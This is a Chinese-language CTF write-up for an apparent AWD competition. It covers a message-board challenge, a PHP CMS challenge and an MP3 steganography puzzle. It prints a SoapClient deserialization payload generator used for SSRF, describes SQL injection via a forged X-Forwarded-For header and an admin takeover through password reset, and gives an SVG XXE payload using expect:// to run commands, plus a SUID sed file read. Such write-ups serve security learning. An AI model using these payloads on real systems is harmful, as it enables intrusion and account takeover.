前言
被pwn爷带飞了,web🐕无地自容,发点wp记录一下
WP
web
message_board
awd的题目,修了但没打成功,事实证明线下赛带齐工具很重要。
代码做了enphp加密,首先工具解混淆,再次吐槽一下没带全工具真的会寄
审计一下,Db.php里面insert没过滤直接插入了,存在insert注入,insert调用点一共有两个,一个是注册,一个是发布。
注册这里有个Utils::*getIp*()
,在Utils.php实现且存在xff头伪造,题目修复可以对getIp的返回值做过滤,使其无法进行sql注入
所以我们可以在注册点进行sql注入,在另一个发布的注入点是在author,也就是用户名,但注册时对用户名进行了过滤,所以我们需要使用xxf的insert来绕过,从而利用newPost处的注入。
查看admin的登录逻辑,密码为弱口令password,直接登录会显示不允许异地登陆,对登录的ip进行了限制
第一个想到的就是ssrf,而ssrf可用通过原生类SoapClient
反序列化触发__call
,全局搜索unserialize可以找到Utils.php下result2ContentArray
函数存在反序列化,并调用toArray
result2ContentArray
在getPosts
处被调用
我们通过insert注入来控制content就能触发到反序列化,从而实现ssrf
先生成反序列化数据
<?php
$target = 'http://127.0.0.1/index.php?s=login';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^Cookie: PHPSESSID=edisec^^Content-Length: 32^^^^username=admin&password=password','uri'=> "a"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&', '%26', $a);
echo bin2hex(urldecode($a));
?>
编写注入payload并再次hex编码,然后xff头处进行注入,完成准备工作
然后登录恶意用户,发布并获取,触发反序列化,这时我们就可以使用phpsession=edisec登录admin了
在后台用户存在mysql配置修改,猜测应该是连接恶意mysql进行任意文件读取,但没下对应工具没有实操
babyweb
php的cms,在忘记用户那可以枚举用户名测试存在用户,并看到注册的邮箱,由于使用公共环境,所以跑出来的用户有点多,但有一个administrator用户的邮箱为[email protected],应该是管理员没跑了。
创个账号进去,在源码那找到一个market.php,访问提示需要管理员,那就看忘记密码功能。
忘记密码时会发送一个token到邮箱,填写token来重置密码。功能参数为email,且不检查用户session,可以发送两个email,一个为自己的,一个为[email protected],使用自己邮箱内的token来重置管理员的密码。
进入后台后看到订单管理,已经有上一队帮我买好了flag和赠礼两个商品。查看flag给了一个地址。查看地址,是一个文件上传功能,白名单过滤,但允许上传svg类型图片,结合之前的赠礼提示应该是svg的xxe漏洞结合expect进行命令执行。
因为expect格式的特性,直接echo写shell没成功,所以先上传一个png,然后mv这个png为php即可
payloiad:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://mv$IFSxx.png$IFSxx.php" >]>
<root><name>&xxe;</name></root>
蚁剑连接,ls -l查看flag为root权限,suid提权,找到sed存在suid,使用命令sed -e '' flag.txt
获得flag
misc
aa
mp3文件,有点大,先拿去binwalk一下,分离出一个png文件
拖到stegsolve里敲一敲,lsb隐写,分离一下
分离一个zip出来,但需要密码,只能调头再看一看mp3文件,拖到010里面看看,发现private_bit里面有数据,但很多且间隔大小不同
先从010里面把数据导出csv里面,把size读到一个list里面,改下脚本,从list里面获取step
import re
import binascii
n = 598795
result = ''
fina = ''
f=open('list.txt','r').read()
steps=f.split("\n")
step_list=[]
for i in steps:
step_list.append(int(i,16))
file = open('1.mp3','rb')
num=0
while num < len(step_list) :
file.seek(n,0)
n += step_list[num]
file_read_result = file.read(1)
read_content = bin(ord(file_read_result))[-1]
result = result + read_content
num+=1
print(result)
随便扔1000个进去,再把多余0删了,然后解一下
import re
fina = ''
result = '01010100010010000110010100101101010100000110111101110111011001010101001000101101011101000110111100101101010000100101001001100101011000010110101100101101011101000100100001100101001011010100011001100001011101000110010100101101001100010101001100101101010100110111010101010010011001010110110001011001001011010110110000110001011010110110010100101101011101000100100000110011001011010100001001001100010000010100010000110011001000000011011101101111001011010110001001100101001000000110110100110000011101100011001101000100001000000100010001001111010101110110111000000000'
textArr = re.findall('.{'+str(8)+'}', result)
# textArr.append(result[(len(textArr)*8):])
for i in textArr:
fina = fina + chr(int(i,2)).strip('\n')
print(fina)
得到THe-PoweR-to-BReak-tHe-Fate-1S-SuRelY-l1ke-tH3-BLAD3 7o-be m0v3D DOWn
用它解开zip后,得到The key is the same as the zip but in the dark side(RC4).txt
应该是使用zip的密码进行rc4解密,试了几个格式后,用sha1加密后为rc4密钥,解密得flag
Comments | NOTHING